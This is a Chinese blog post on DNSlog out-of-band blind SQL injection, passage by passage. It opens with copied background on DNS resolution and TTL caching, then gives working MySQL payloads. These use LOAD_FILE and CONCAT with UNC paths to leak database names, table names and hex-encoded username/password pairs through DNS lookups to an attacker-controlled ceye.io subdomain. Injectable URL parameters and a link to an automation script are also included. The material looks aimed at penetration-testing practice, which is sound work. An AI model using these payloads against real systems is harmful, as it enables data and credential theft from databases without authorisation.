Dnslog盲注

DNS域名解析的全过程

下面来详细解释DNS域名解析的过程:
网络客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入www.163.com,这时,你使用的电脑会发出一个DNS请求到本地DNS服务器。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。
查询xxx.ceye.io的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地DNS服务器还要向DNS根服务器进行查询。
根DNS服务器没有记录具体的域名和IP地址的对应关系,而是告诉本地DNS服务器,你可以到域服务器上去继续查询,并给出域服务器的地址。
本地DNS服务器继续向域服务器发出请求,在这个例子中,请求的对象是.com域服务器。.com域服务器收到请求之后,也不会直接返回域名和IP地址的对应关系,而是告诉本地DNS服务器,你的域名的解析服务器的地址。
最后,本地DNS服务器向域名的解析服务器发出请求,这时就能收到一个域名和IP地址对应关系,本地DNS服务器不仅要把IP地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。
 
关于DNS解析的TTL参数:
我们在配置DNS解析的时候,有一个参数常常容易忽略,就是DNS解析的TTL参数,Time To Live。TTL这个参数告诉本地DNS服务器,域名缓存的最长时间。用阿里云解析来举例,阿里云解析默认的TTL是10分钟,10分钟的含义是,本地DNS服务器对于域名的缓存时间是10分钟,10分钟之后,本地DNS服务器就会删除这条记录,删除之后,如果有用户访问这个域名,就要重复一遍上述复杂的流程。
其实,如果网站已经进入稳定发展的状态,不会轻易更换IP地址,我们完全可以将TTL设置到协议最大值,即24小时。带来的好处是,让域名解析记录能够更长时间的存放在本地DNS服务器中,以加快所有用户的访问。设置成24小时,其实,还解决了Googlebot在全球部署的服务器抓取网站可能带来的问题,这个问题麦新杰专门有一篇博文,请参考:Googlebot无法访问您的站点”问题理解和处理方法
阿里云之所以只将TTL设置成10分钟,是为了让域名解析更快生效而已。因为之前的解析会在最长10分钟之后失效(本地DNS服务器将对应的解析条目删除),然后新的解析生效。如果是24小时,这个生效的时间最长就是24小时,甚至更长(本地DNS服务器要有用户请求,才会发起查询)。
关于DNS域名解析过程,就说这么多吧。
来源: https://www.cnblogs.com/waycool/p/7101425.html
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,
但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下。
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。
来源: https://www.cnblogs.com/afanti/p/8047530.html

手工测试



可以看到三种查询都被记录下来了 那么我们就可以利用这种特性进行dnslog注入,利用mysql发起请求,访问我构造的域名,当解析请求到达ceye.io时,就会被记录下来

Mysql LOAD_FILE函数可以发起请求;

select LOAD_FILE(CONCAT('\\\\','test','.mysql.buvx2r.ceye.io\\abc'));
select LOAD_FILE(CONCAT('\\\\',database(),'.mysql.buvx2r.ceye.io\\abc'));\\的意思是让LOAD_FILE去读每个文件,当然这么文件存不存在,我们并不在意
//查询当前库的第一个表
select LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mysql.buvx2r.ceye.io\\abc'));



DNS请求被成功记录下来,由于test位置是可控的,所以我们可以将查询语句插入


成功爆出当前数据库名
值得注意的是我们不能出现特殊符号,:~@所以要进行特殊处理 只能windows
Payload

//查询第当前库第一个表名
?id=1' union select LOAD_FILE(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.buvx2r.ceye.io\\abc')),2,3--+
//查询users表第一个字段 使用hex编码避免出现特殊字符
?id=1' union select LOAD_FILE(concat('\\\\',(select hex(concat_ws('~',username,password)) from security.users limit 0,1),'.mysql.buvx2r.ceye.io\\abc')),2,3--+



查询到的hex加密的信息

解密

https://github.com/ADOOO/DnslogSqlinj 自动化脚本

posted @ 2019-12-26 00:37  AirSkys  阅读(623)  评论(0编辑  收藏  举报